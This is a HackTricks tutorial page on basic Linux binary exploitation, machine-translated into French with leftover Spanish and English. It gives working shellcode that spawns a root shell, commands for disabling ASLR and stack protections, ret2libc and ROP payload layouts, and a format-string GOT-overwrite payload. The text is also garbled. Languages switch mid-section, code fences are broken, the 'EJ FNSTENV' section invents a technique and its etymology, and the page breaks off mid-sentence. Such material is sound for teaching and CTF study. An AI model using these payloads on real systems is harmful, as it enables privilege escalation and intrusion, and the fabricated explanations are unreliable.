# Linux Exploiting (Basic) (SPA)
## Linux Exploiting (Basic) (SPA)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
* Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
## **ASLR**
Aleatorización de direcciones
**Désactiver la randomisation (ASLR) GLOBALE (root)**:\
echo 0 > /proc/sys/kernel/randomize\_va\_space\
Réactiver la randomisation GLOBALE: echo 2 > /proc/sys/kernel/randomize\_va\_space
**Désactiver pour une exécution** (ne nécessite pas de root):\
setarch \`arch\` -R ./exemple arguments\
setarch \`uname -m\` -R ./exemple arguments
**Désactiver la protection d'exécution sur la pile**\
gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack exemple.c -o exemple
**Fichier core**\
ulimit -c unlimited\
gdb /exec core\_file\
/etc/security/limits.conf -> \* soft core unlimited
**Texte**\
**Données**\
**BSS**\
**Heap**
**Pile**
**Section BSS**: Variables globales ou statiques non initialisées
```
static int i;
```
**Section DATA**: Variables globales ou statiques initialisées
```
int i = 5;
```
**Section TEXT**: Code instructions (opcodes)
**Section HEAP**: Dynamically allocated buffers (malloc(), calloc(), realloc())
**Section STACK**: The stack (passed arguments, environment strings (env), local variables...)
## **1. DÉBORDEMENTS DE PILE**
> Débordement de tampon, dépassement de tampon, dépassement de pile, écrasement de pile
Segmentation fault or segment violation: When attempting to access a memory address that has not been assigned to the process.
To obtain the address of a function within a program, you can do:
```
objdump -d ./PROGRAMA | grep FUNCION
```
## ROP
### Appel à sys\_execve
{% content-ref url="rop-syscall-execv.md" %}
[rop-syscall-execv.md](rop-syscall-execv.md)
{% endcontent-ref %}
## **2.SHELLCODE**
Voir les interruptions du kernel: cat /usr/include/i386-linux-gnu/asm/unistd\_32.h | grep “\_\_NR\_”
setreuid(0,0); // \_\_NR\_setreuid 70\
execve(“/bin/sh”, args\[], NULL); // \_\_NR\_execve 11\
exit(0); // \_\_NR\_exit 1
xor eax, eax ; nettoyer eax\
xor ebx, ebx ; ebx = 0 car il n'y a pas d'argument à passer\
mov al, 0x01 ; eax = 1 —> \_\_NR\_exit 1\
int 0x80 ; Exécuter la syscall
**nasm -f elf assembly.asm** —> Nous renvoie un .o\
**ld assembly.o -o shellcodeout** —> Nous donne un exécutable formé par le code assembleur et nous pouvons extraire les opcodes avec **objdump**\
**objdump -d -Mintel ./shellcodeout** —> Pour vérifier que c'est bien notre shellcode et extraire les opcodes
**Vérifier que la shellcode fonctionne**
```
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
void main(){
void (*fp) (void);
fp = (void *)shellcode;
fp();
}
```
Pour vérifier que les appels système sont effectués correctement, vous devez compiler le programme précédent et les appels système doivent apparaître dans **strace ./PROGRAMA\_COMPILADO**.
Lors de la création de shellcodes, un astuce peut être utilisée. La première instruction est un saut vers un appel. L'appel appelle le code original et met également l'EIP dans la pile. Après l'instruction d'appel, nous avons inséré la chaîne dont nous avions besoin, de sorte qu'avec cet EIP, nous pouvons pointer vers la chaîne et continuer à exécuter le code.
EX **ASTUCE (/bin/sh)**:
```
jmp 0x1f ; Salto al último call
popl %esi ; Guardamos en ese la dirección al string
movl %esi, 0x8(%esi) ; Concatenar dos veces el string (en este caso /bin/sh)
xorl %eax, %eax ; eax = NULL
movb %eax, 0x7(%esi) ; Ponemos un NULL al final del primer /bin/sh
movl %eax, 0xc(%esi) ; Ponemos un NULL al final del segundo /bin/sh
movl $0xb, %eax ; Syscall 11
movl %esi, %ebx ; arg1=“/bin/sh”
leal 0x8(%esi), %ecx ; arg[2] = {“/bin/sh”, “0”}
leal 0xc(%esi), %edx ; arg3 = NULL
int $0x80 ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl %ebx, %ebx ; ebx = NULL
movl %ebx, %eax
inc %eax ; Syscall 1
int $0x80 ; exit(0)
call -0x24 ; Salto a la primera instrución
.string \”/bin/sh\” ; String a usar
```
**Utilisation de l'exploit EJ avec le Stack (/bin/sh) :**
```
section .text
global _start
_start:
xor eax, eax ;Limpieza
mov al, 0x46 ; Syscall 70
xor ebx, ebx ; arg1 = 0
xor ecx, ecx ; arg2 = 0
int 0x80 ; setreuid(0,0)
xor eax, eax ; eax = 0
push eax ; “\0”
push dword 0x68732f2f ; “//sh”
push dword 0x6e69622f; “/bin”
mov ebx, esp ; arg1 = “/bin//sh\0”
push eax ; Null -> args[1]
push ebx ; “/bin/sh\0” -> args[0]
mov ecx, esp ; arg2 = args[]
mov al, 0x0b ; Syscall 11
int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
```
**EJ FNSTENV:**
La technique EJ FNSTENV est une technique d'exploitation de dépassement de tampon qui consiste à écraser la structure de cadre de pile (stack frame) d'une fonction pour contrôler l'exécution du programme. Cette technique est souvent utilisée pour exécuter du code malveillant sur une machine cible.
Le nom EJ FNSTENV vient des instructions utilisées pour exploiter cette technique : EJUMP (saut conditionnel), FNSTENV (sauvegarde de l'état de la pile) et JMP (saut inconditionnel).
Pour exploiter cette technique, l'attaquant doit trouver une vulnérabilité de dépassement de tampon dans le programme cible. Ensuite, l'attaquant doit écrire un shellcode qui sera exécuté une fois que la structure de cadre de pile sera écrasée. Le shellcode peut être utilisé pour ouvrir une porte dérobée, exécuter des commandes à distance ou effectuer d'autres actions malveillantes.
Il est important de noter que cette technique est de plus en plus difficile à exploiter en raison des mesures de sécurité mises en place dans les systèmes d'exploitation modernes. Les développeurs peuvent également utiliser des techniques de codage sécurisé pour réduire les risques de vulnérabilités de dépassement de tampon.
```
fabs
fnstenv [esp-0x0c]
pop eax ; Guarda el EIP en el que se ejecutó fabs
…
```
**Chasseur d'œufs :**
Il s'agit d'un petit code qui parcourt les pages de mémoire associées à un processus à la recherche de la shellcode qui y est stockée (recherche d'une signature placée dans la shellcode). Utile dans les cas où il n'y a qu'un petit espace pour injecter du code.
**Shellcodes polymorphes**
Il s'agit de shells chiffrés qui ont un petit code qui les déchiffre et saute dessus, en utilisant le truc de Call-Pop. Voici un exemple de chiffrement de César :
```
global _start
_start:
jmp short magic
init:
pop esi
xor ecx, ecx
mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
sub cl, 1
jnz desc
jmp short sc
magic:
call init
sc:
;Aquí va el shellcode
```
1. **Attaquer le pointeur de cadre (EBP)**
Utile dans une situation où nous pouvons modifier l'EBP mais pas l'EIP.
Il est connu que lorsqu'une fonction se termine, le code assembleur suivant est exécuté:
```
movl %ebp, %esp
popl %ebp
ret
```
De cette façon, si l'on peut modifier l'EBP en sortant d'une fonction (fvuln) qui a été appelée par une autre fonction, lorsque la fonction qui a appelé fvuln se termine, son EIP peut être modifié.
Dans fvuln, on peut introduire un faux EBP qui pointe vers un endroit où se trouve l'adresse de la shellcode + 4 (il faut ajouter 4 pour le pop). Ainsi, en sortant de la fonction, la valeur de &(\&Shellcode)+4 sera placée dans ESP, avec le pop, 4 sera soustrait de ESP et il pointera vers l'adresse de la shellcode lors de l'exécution du ret.
**Exploit:**\
\&Shellcode + "AAAA" + SHELLCODE + remplissage + &(\&Shellcode)+4
**Exploit Off-by-One**\
Il est possible de modifier uniquement le byte le moins significatif de l'EBP. On peut effectuer une attaque comme celle décrite précédemment, mais la mémoire qui stocke l'adresse de la shellcode doit partager les 3 premiers bytes avec l'EBP.
## **4. Méthodes return to Libc**
Méthode utile lorsque la pile n'est pas exécutable ou laisse un tampon très petit pour être modifié.
L'ASLR fait en sorte que chaque fois que les fonctions sont chargées à des positions différentes de la mémoire. Par conséquent, cette méthode peut ne pas être efficace dans ce cas. Pour les serveurs distants, comme le programme est constamment exécuté à la même adresse, elle peut être utile.
* **cdecl (C declaration)** Met les arguments sur la pile et nettoie la pile après la sortie de la fonction
* **stdcall (standard call)** Met les arguments sur la pile et c'est la fonction appelée qui la nettoie
* **fastcall** Met les deux premiers arguments dans les registres et le reste sur la pile
On met l'adresse de l'instruction system de libc et on lui passe comme argument la chaîne "/bin/sh", généralement à partir d'une variable d'environnement. De plus, on utilise l'adresse de la fonction exit pour que, une fois que la shell n'est plus nécessaire, le programme se termine sans problème (et sans écrire de journaux).
**export SHELL=/bin/sh**
Pour trouver les adresses dont nous avons besoin, on peut regarder dans **GDB:**\
**p system**\
**p exit**\
**rabin2 -i executable** —> Donne l'adresse de toutes les fonctions utilisées par le programme lorsqu'il est chargé\
(Dans un start ou un autre point d'arrêt): **x/500s $esp** —> On cherche ici la chaîne /bin/sh
Une fois que nous avons ces adresses, l'**exploit** serait :
"A" \* DISTANCE EBP + 4 (EBP : il peut s'agir de 4 "A" bien que ce soit mieux si c'est le vrai EBP pour éviter les erreurs de segmentation) + Adresse de **system** (elle écrasera l'EIP) + Adresse de **exit** (lorsque system(“/bin/sh”) se termine, cette fonction sera appelée car les 4 premiers octets de la pile sont traités comme l'adresse suivante de l'EIP à exécuter) + Adresse de “**/bin/sh**” (ce sera le paramètre passé à system)
De cette façon, l'EIP sera écrasé avec l'adresse de system qui recevra la chaîne "/bin/sh" comme paramètre et, une fois terminée, exécutera la fonction exit().
Il est possible de se retrouver dans la situation où un byte d'une adresse d'une fonction est nul ou un espace (\x20). Dans ce cas, on peut désassembler les adresses précédant cette fonction car il y a probablement plusieurs NOPs qui nous permettront d'appeler l'un d'entre eux plutôt que la fonction directement (par exemple avec > x/8i system-4).
Cette méthode fonctionne car en appelant une fonction comme system en utilisant l'opcode **ret** au lieu de **call**, la fonction comprend que les 4 premiers octets seront l'adresse **EIP** à laquelle revenir.
Une technique intéressante avec cette méthode consiste à appeler **strncpy()** pour déplacer une charge utile de la pile vers le tas et ensuite utiliser **gets()** pour exécuter cette charge utile.
Une autre technique intéressante est l'utilisation de **mprotect()** qui permet d'attribuer les autorisations souhaitées à n'importe quelle partie de la mémoire. Elle fonctionne ou fonctionnait sur BDS, MacOS et OpenBSD, mais pas sur Linux (qui empêche l'attribution simultanée d'autorisations d'écriture et d'exécution). Avec cette attaque, il serait possible de rétablir la pile comme exécutable.
**Enchaînement de fonctions**
En se basant sur la technique précédente, cette forme d'exploit consiste en :\
Remplissage + \&Fonction1 + \&pop;ret; + \&arg\_fun1 + \&Fonction2 + \&pop;ret; + \&arg\_fun2 + …
De cette façon, on peut enchaîner des fonctions à appeler. De plus, si l'on veut utiliser des fonctions avec plusieurs arguments, on peut mettre les arguments nécessaires (par exemple 4) et mettre les 4 arguments et chercher une adresse à un endroit avec des opcodes : pop, pop, pop, pop, ret —> **objdump -d executable**
**Enchaînement en falsifiant les frames (enchaînement des EBPs)**
Il s'agit de profiter du pouvoir de manipulation de l'EBP pour enchaîner l'exécution de plusieurs fonctions à travers l'EBP et "leave;ret"
REMPLISSAGE
* On place dans l'EBP un EBP faux qui pointe vers : 2ème EBP\_faux + la fonction à exécuter : (\&system() + \&leave;ret + &“/bin/sh”)
* Dans l'EIP, on met l'adresse d'une fonction &(leave;ret)
On commence la shellcode avec l'adresse de la partie suivante de la shellcode, par exemple : 2ème EBP\_faux + \&system() + &(leave;ret;) + &”/bin/sh”
le 2ème EBP serait : 3ème EBP\_faux + \&system() + &(leave;ret;) + &”/bin/ls”
Cette shellcode peut être répétée indéfiniment dans les parties de la mémoire auxquelles on a accès, de sorte qu'on obtiendra une shellcode facilement divisible en petits morceaux de mémoire.
(L'enchaînement de l'exécution de fonctions mélange les vulnérabilités précédemment vues d'EBP et de ret2lib)
## **5. Méthodes complémentaires**
**Ret2Ret**
Utile lorsque l'on ne peut pas mettre une adresse de la pile dans l'EIP (on vérifie que l'EIP ne contient pas 0xbf) ou lorsque l'on ne peut pas calculer l'emplacement de la shellcode. Mais, la fonction vulnérable accepte un paramètre (la shellcode ira ici).
De cette façon, en changeant l'EIP par une adresse de **ret**, la prochaine adresse sera chargée (qui est l'adresse du premier argument de la fonction). C'est-à-dire que la shellcode sera chargée.
L'exploit serait : SHELLCODE + Remplissage (jusqu'à EIP) + **\&ret** (les octets suivants de la pile pointent vers le début de la shellcode car l'adresse du paramètre passé est mise sur la pile)
Il semble que des fonctions comme **strncpy** une fois terminées suppriment de la pile l'adresse où la shellcode était stockée, rendant cette technique impossible. C'est-à-dire que l'adresse qu'ils passent à la fonction en tant qu'argument (celle qui stocke la shellcode) est modifiée par un 0x00, de sorte que lorsqu'on appelle le deuxième **ret**, on trouve un 0x00 et le programme meurt.
```
**Ret2PopRet**
```
If we don't have control over the first argument but we do over the second or third, we can overwrite EIP with an address to pop-ret or pop-pop-ret, depending on what we need.
**Murat's Technique**
In Linux, all programs are mapped starting at 0xbfffffff.
By examining how the stack of a new process is constructed in Linux, an exploit can be developed so that the program is launched in an environment whose only variable is the shellcode. The address of this can then be calculated as: addr = 0xbfffffff - 4 - strlen(FULL\_executable\_name) - strlen(shellcode)
This way, the address where the environment variable with the shellcode is located can be easily obtained.
This can be done thanks to the execle function, which allows creating an environment that only has the desired environment variables.
**Jump to ESP: Windows Style**
Since ESP is always pointing to the beginning of the stack, this technique consists of replacing EIP with the address of a call to **jmp esp** or **call esp**. This way, the shellcode is saved after overwriting EIP since after executing the **ret**, ESP will be pointing to the next address, right where the shellcode has been saved.
If ASLR is not active in Windows or Linux, **jmp esp** or **call esp** stored in some shared object can be called. If ASLR is active, it could be searched within the vulnerable program itself.
In addition, being able to place the shellcode after the corruption of EIP instead of in the middle of the stack allows push or pop instructions executed in the middle of the function to not touch the shellcode (which could happen if it were placed in the middle of the function's stack).
In a very similar way, if we know that a function returns the address where the shellcode is stored, we can call **call eax** or **jmp eax (ret2eax).**
**ROP (Return Oriented Programming) or borrowed code chunks**
The code chunks that are invoked are known as gadgets.
This technique consists of chaining different function calls using the **ret2libc** technique and the use of **pop,ret**.
In some processor architectures, each instruction is a set of 32 bits (MIPS for example). However, in Intel, instructions are of variable size and several instructions can share a set of bits, for example:
**movl $0xe4ff, -0x(%ebp)** —> Contains the bytes 0xffe4 which also translate to: **jmp \*%esp**
This way, some instructions that are not even in the original program can be executed.
**ROPgadget.py** helps us find values in binaries.
This program also serves to create **payloads**. You can give it the library from which you want to extract the ROPs and it will generate a payload in Python to which you give the address where said library is located and the payload is ready to be used as shellcode. In addition, since it uses system calls, it does not actually execute anything on the stack but only saves addresses of ROPs that will be executed through **ret**. To use this payload, the payload must be called using a **ret** instruction.
**Integer overflows**
This type of overflow occurs when a variable is not prepared to support a number as large as the one passed to it, possibly due to confusion between signed and unsigned variables, for example:
```c
#include
#include
#include
int main(int argc, char *argv[]){
int len;
unsigned int l;
char buffer[256];
int i;
len = l = strtoul(argv[1], NULL, 10);
printf("\nL = %u\n", l);
printf("\nLEN = %d\n", len);
if (len >= 256){
printf("\nLongitus excesiva\n");
exit(1);
}
if(strlen(argv[2]) < l)
strcpy(buffer, argv[2]);
else
printf("\nIntento de hack\n");
return 0;
}
```
Dans l'exemple précédent, nous voyons que le programme attend 2 paramètres. Le premier est la longueur de la chaîne suivante et le second est la chaîne.
Si nous passons un nombre négatif comme premier paramètre, il sortira que len < 256 et nous passerons ce filtre, et de plus strlen(buffer) sera inférieur à l, car l est unsigned int et sera très grand.
Ce type de débordements ne vise pas à écrire quelque chose dans le processus du programme, mais à contourner des filtres mal conçus pour exploiter d'autres vulnérabilités.
**Variables non initialisées**
On ne sait pas quelle valeur peut prendre une variable non initialisée et il pourrait être intéressant de l'observer. Il se peut qu'elle prenne la valeur qu'une variable de la fonction précédente prenait et que celle-ci soit contrôlée par l'attaquant.
## **Chaînes de format**
En C, **`printf`** est une fonction qui peut être utilisée pour **imprimer** une chaîne de caractères. Le **premier paramètre** que cette fonction attend est le **texte brut avec les formateurs**. Les **paramètres suivants** attendus sont les **valeurs** à **substituer** aux **formateurs** du texte brut.
La vulnérabilité apparaît lorsqu'un **texte d'attaquant est mis en tant que premier argument** de cette fonction. L'attaquant pourra créer une **entrée spéciale en abusant des capacités de la chaîne de format printf** pour **écrire n'importe quelle donnée à n'importe quelle adresse**. De cette manière, il pourra **exécuter du code arbitraire**.
Formateurs:
```bash
%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
```
**`%n`** **écrit** le **nombre d'octets écrits** à l'**adresse indiquée. Écrire** autant d'**octets** que le nombre hexadécimal que nous **devons écrire** est la façon dont vous pouvez **écrire n'importe quelle donnée**.
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
```
### \*\*GOT (Global Offsets Table) / PLT (\*\*Procedure Linkage Table)
Ceci est la table qui contient l'**adresse** des **fonctions externes** utilisées par le programme.
Obtenez l'adresse de cette table avec: **`objdump -s -j .got ./exec`**
![](<../../.gitbook/assets/image (619).png>)
Remarquez comment après **chargement** de l'**exécutable** dans GEF, vous pouvez **voir** les **fonctions** qui sont dans le **GOT**: `gef➤ x/20x 0xDIR_GOT`
![](<../../.gitbook/assets/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (3).png>)
En utilisant GEF, vous pouvez **démarrer** une **session de débogage** et exécuter **`got`** pour voir la table got:
![](<../../.gitbook/assets/image (621).png>)
Dans un binaire, le GOT a les **adresses des fonctions ou** de la **section PLT** qui chargera l'adresse de la fonction. L'objectif de cette exploitation est de **remplacer l'entrée GOT** d'une fonction qui sera exécutée plus tard **avec** l'**adresse** de la **PLT de la fonction system**. Idéalement, vous **remplacez** le **GOT** d'une **fonction** qui est **appelée avec des paramètres contrôlés par vous** (vous pourrez donc contrôler les paramètres envoyés à la fonction système).
Si **`system`** **n'est pas utilisé** par le script, la fonction système **n'aura pas d'entrée dans le GOT**. Dans ce scénario, vous devrez **d'abord divulguer l'adresse** de la fonction `system`.
La **Table de liaison de procédures** est une table **en lecture seule** dans le fichier ELF qui stocke tous les **symboles nécessaires qui ont besoin d'une résolution**. Lorsqu'une de ces fonctions est appelée, le **GOT** **redirige** le **flux** vers le **PLT** pour qu'il puisse **résoudre** l'**adresse** de la fonction et l'écrire sur le GOT.\
Ensuite, la **prochaine fois** qu'un appel est effectué à cette adresse, la **fonction** est **appelée directement** sans avoir besoin de la résoudre.
Vous pouvez voir les adresses PLT avec **`objdump -j .plt -d ./vuln_binary`**
### **Flux d'exploitation**
Comme expliqué précédemment, l'objectif va être de **remplacer l'adresse** d'une **fonction** dans la table **GOT** qui sera appelée plus tard. Idéalement, nous pourrions définir l'**adresse sur un shellcode** situé dans une section exécutable, mais il est très probable que vous ne puissiez pas écrire un shellcode dans une section exécutable.\
Une option différente est donc de **remplacer une fonction** qui **reçoit** ses **arguments** de l'**utilisateur** et de la **pointer** vers la **fonction `system`**.
Pour écrire l'adresse, généralement 2 étapes sont effectuées: Vous **écrivez d'abord 2 octets** de l'adresse, puis les 2 autres. Pour ce faire, **`$hn`** est utilisé.
**HOB** est appelé pour les 2 octets supérieurs de l'adresse\
**LOB** est appelé pour les 2 octets inférieurs de l'adresse
Ainsi, en raison du fonctionnement de la chaîne de formatage, vous devez **d'abord écrire le plus petit** de \[HOB, LOB] et ensuite l'autre.
Si HOB < LOB\
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
Si HOB > LOB\
`[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
HOB LOB HOB\_shellcode-8 NºParam\_dir\_HOB LOB\_shell-HOB\_shell NºParam\_dir\_LOB
\`python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'\`
### **Modèle d'exploitation de la chaîne de formatage**
Vous pouvez trouver un **modèle** pour exploiter le GOT en utilisant des chaînes de formatage ici:
{% content-ref url="format-strings-template.md" %}
[format-strings-template.md](format-strings-template.md)
{% endcontent-ref %}
### **.fini\_array**
Essentiellement, il s'agit d'une structure avec des **fonctions qui seront appelées** avant que le programme ne se termine. C'est intéressant si vous pouvez appeler votre **shellcode en sautant à une adresse**, ou dans des cas où vous devez revenir à la fonction main pour **exploiter la chaîne de formatage une deuxième fois**.
```bash
objdump -s -j .fini_array ./greeting
./greeting: file format elf32-i386
Contents of section .fini_array:
8049934 a0850408
#Put your address in 0x8049934
```
Notez que cela ne créera pas de boucle éternelle car lorsque vous revenez à la fonction principale, le canari le remarquera, la fin de la pile pourrait être corrompue et la fonction ne sera pas rappelée. Ainsi, avec cela, vous pourrez avoir une exécution supplémentaire de la vulnérabilité.
### Chaînes de format pour extraire du contenu
Une chaîne de format peut également être utilisée pour extraire du contenu de la mémoire du programme. Par exemple, dans la situation suivante, il y a une variable locale dans la pile pointant vers un drapeau. Si vous trouvez où se trouve en mémoire le pointeur vers le drapeau, vous pouvez faire en sorte que printf accède à cette adresse et imprime le drapeau :
Ainsi, le drapeau est à **0xffffcf4c**
![](<../../.gitbook/assets/image (618) (2).png>)
Et à partir de la fuite, vous pouvez voir que le pointeur vers le drapeau est dans le 8ème paramètre :
![](<../../.gitbook/assets/image (623).png>)
Ainsi, en accédant au 8ème paramètre, vous pouvez obtenir le drapeau :
![](<../../.gitbook/assets/image (624).png>)
Notez qu'après l'exploitation précédente et en réalisant que vous pouvez extraire du contenu, vous pouvez définir des pointeurs vers printf dans la section où l'exécutable est chargé et le vider entièrement !
### DTOR
{% hint style="danger" %}
De nos jours, il est très rare de trouver un binaire avec une section dtor.
{% endhint %}
Les destructeurs sont des fonctions qui sont exécutées avant que le programme ne se termine. Si vous parvenez à écrire une adresse vers un shellcode dans `__DTOR_END__`, cela sera exécuté avant la fin des programmes. Obtenez l'adresse de cette section avec :
```bash
objdump -s -j .dtors /exec
rabin -s /exec | grep “__DTOR”
```
Généralement, vous trouverez la section **DTOR** **entre** les valeurs `ffffffff` et `00000000`. Donc, si vous voyez simplement ces valeurs, cela signifie qu'il n'y a **aucune fonction enregistrée**. Alors, **écrasez** le **`00000000`** avec l'**adresse** du **shellcode** pour l'exécuter.
### **Chaînes de format pour les débordements de tampon**
La fonction **sprintf** déplace une chaîne formatée **vers** une **variable**. Par conséquent, vous pouvez abuser de la **mise en forme** d'une chaîne pour provoquer un **débordement de tampon dans la variable** où le contenu est copié.\
Par exemple, la charge utile `%.44xAAAA` écrira **44B+"AAAA" dans la variable**, ce qui peut causer un débordement de tampon.
### **Structures \_\_atexit**
{% hint style="danger" %}
De nos jours, il est très **étrange d'exploiter cela**.
{% endhint %}
**`atexit()`** est une fonction à laquelle **d'autres fonctions sont passées en tant que paramètres**. Ces **fonctions** seront **exécutées** lors de l'exécution d'un **`exit()`** ou du **retour** de la **fonction principale**.\
Si vous pouvez **modifier** l'**adresse** de l'une de ces **fonctions** pour qu'elle pointe vers un shellcode, par exemple, vous **prendrez le contrôle** du **processus**, mais cela est actuellement plus compliqué.\
Actuellement, les **adresses des fonctions** à exécuter sont **cachées** derrière plusieurs structures et enfin l'adresse vers laquelle elle pointe n'est pas l'adresse des fonctions, mais est **cryptée avec XOR** et des déplacements avec une **clé aléatoire**. Ainsi, actuellement, ce vecteur d'attaque n'est **pas très utile au moins sur x86** et **x64\_86**.\
La fonction de **cryptage** est **`PTR_MANGLE`**. **D'autres architectures** telles que m68k, mips32, mips64, aarch64, arm, hppa... **n'implémentent pas le cryptage** car il **retourne la même chose** qu'il a reçue en entrée. Ainsi, ces architectures seraient attaquables par ce vecteur.
### **setjmp() & longjmp()**
{% hint style="danger" %}
De nos jours, il est très **étrange d'exploiter cela**.
{% endhint %}
**`Setjmp()`** permet de **sauvegarder** le **contexte** (les registres)\
**`longjmp()`** permet de **restaurer** le **contexte**.\
Les **registres sauvegardés** sont : `EBX, ESI, EDI, ESP, EIP, EBP`\
Ce qui se passe, c'est que EIP et ESP sont passés par la fonction **`PTR_MANGLE`**, donc les **architectures vulnérables à cette attaque sont les mêmes que ci-dessus**.\
Ils sont utiles pour la récupération d'erreur ou les interruptions.\
Cependant, d'après ce que j'ai lu, les autres registres ne sont pas protégés, **donc s'il y a un `call ebx`, `call esi` ou `call edi`** à l'intérieur de la fonction appelée, le contrôle peut être pris. Ou vous pourriez également modifier EBP pour modifier ESP.
**VTable et VPTR en C++**
Chaque classe a une **Vtable** qui est un tableau de **pointeurs vers des méthodes**.
Chaque objet d'une **classe** a un **VPtr** qui est un **pointeur** vers le tableau de sa classe. Le VPtr fait partie de l'en-tête de chaque objet, donc si une **surcharge** du **VPtr** est réalisée, elle pourrait être **modifiée** pour **pointer** vers une méthode fictive de sorte que l'exécution d'une fonction aille au shellcode.
## **Mesures préventives et évasions**
**ASLR pas si aléatoire**
PaX plonge l'espace d'adressage du processus en 3 groupes :
Code et données initialisés et non initialisés : .text, .data et .bss —> 16 bits d'entropie dans la variable delta\_exec, cette variable est initialisée aléatoirement avec chaque processus et est ajoutée aux adresses initiales
Mémoire allouée par mmap() et bibliothèques partagées —> 16 bits, delta\_mmap
La pile —> 24 bits, delta\_stack —> En réalité 11 (du 10ème au 20ème octet inclus) —> aligné sur 16 octets —> 524 288 adresses réelles possibles de la pile
Les variables d'environnement et les arguments se déplacent moins qu'un tampon sur la pile.
**Return-into-printf**
C'est une technique pour convertir un débordement de tampon en une erreur de chaîne de format. Elle consiste à remplacer l'EIP pour qu'il pointe vers un printf de la fonction et à lui passer comme argument une chaîne de format manipulée pour obtenir des valeurs sur l'état du processus.
**Attaque de bibliothèques**
Les bibliothèques sont à une position avec 16 bits d'aléatoire = 65636 adresses possibles. Si un serveur vulnérable appelle fork(), l'espace d'adressage mémoire est cloné dans le processus enfant et reste intact. Ainsi, il est possible d'essayer de faire une force brute à la fonction usleep() de libc en lui passant "16" comme argument, de sorte que lorsque cela prend plus de temps que d'habitude pour répondre, cette fonction est trouvée. En sachant où se trouve cette fonction, delta\_mmap peut être obtenu et les autres calculés.
La seule façon d'être sûr que l'ASLR fonctionne est d'utiliser une architecture 64 bits. Il n'y a pas d'attaques de force brute là-bas.
**StackGuard et StackShield**
**StackGuard** insère avant l'EIP —> 0x000aff0d(null, \n, EndOfFile(EOF), \r) —> recv(), memcpy(), read(), bcoy() restent vulnérables et ne protège pas l'EBP
**StackShield** est plus élaboré que StackGuard
Il stocke dans une table (Global Return Stack) toutes les adresses EIP de retour de sorte que le débordement ne cause aucun dommage. De plus, les deux adresses peuvent être comparées pour voir s'il y a eu un débordement.
On peut également vérifier l'adresse de retour avec une valeur limite, ainsi si l'EIP va à un endroit différent de celui habituel comme l'espace de données, on le saura. Mais cela peut être contourné avec Ret-to-lib, ROPs ou ret2ret.
Comme on peut le voir, stackshield ne protège pas non plus les variables locales.
**Stack Smash Protector (ProPolice) -fstack-protector**
Le canary est placé avant l'EBP. Il réorganise les variables locales pour que les tampons soient aux positions les plus élevées et ne puissent donc pas écraser d'autres variables.
De plus, il effectue une copie sécurisée des arguments passés sur la pile (au-dessus des variables locales) et utilise ces copies comme arguments.
Il ne peut pas protéger les tableaux de moins de 8 éléments ni les tampons faisant partie d'une structure utilisateur.
Le canary est un nombre aléatoire extrait de "/dev/urandom" ou sinon c'est 0xff0a0000. Il est stocké dans TLS (Thread Local Storage). Les threads partagent le même espace mémoire, le TLS est une zone qui contient des variables globales ou statiques de chaque thread. Cependant, en principe, celles-ci sont copiées du processus parent bien que le processus enfant puisse modifier ces données sans modifier celles du parent ni celles des autres enfants. Le problème est que si fork() est utilisé mais qu'aucun nouveau canari n'est créé, alors tous les processus (parent et enfants) utilisent le même canari. En i386, il est stocké dans gs:0x14 et en x86\_64, il est stocké dans fs:0x28.
Cette
```bash
gef➤ vmmap
Start End Offset Perm Path
0x0000555555554000 0x0000555555555000 0x0000000000000000 r-- /tmp/tryc
0x0000555555555000 0x0000555555556000 0x0000000000001000 r-x /tmp/tryc
0x0000555555556000 0x0000555555557000 0x0000000000002000 r-- /tmp/tryc
0x0000555555557000 0x0000555555558000 0x0000000000002000 r-- /tmp/tryc
0x0000555555558000 0x0000555555559000 0x0000000000003000 rw- /tmp/tryc
0x0000555555559000 0x000055555557a000 0x0000000000000000 rw- [heap]
0x00007ffff7dcb000 0x00007ffff7df0000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df0000 0x00007ffff7f63000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
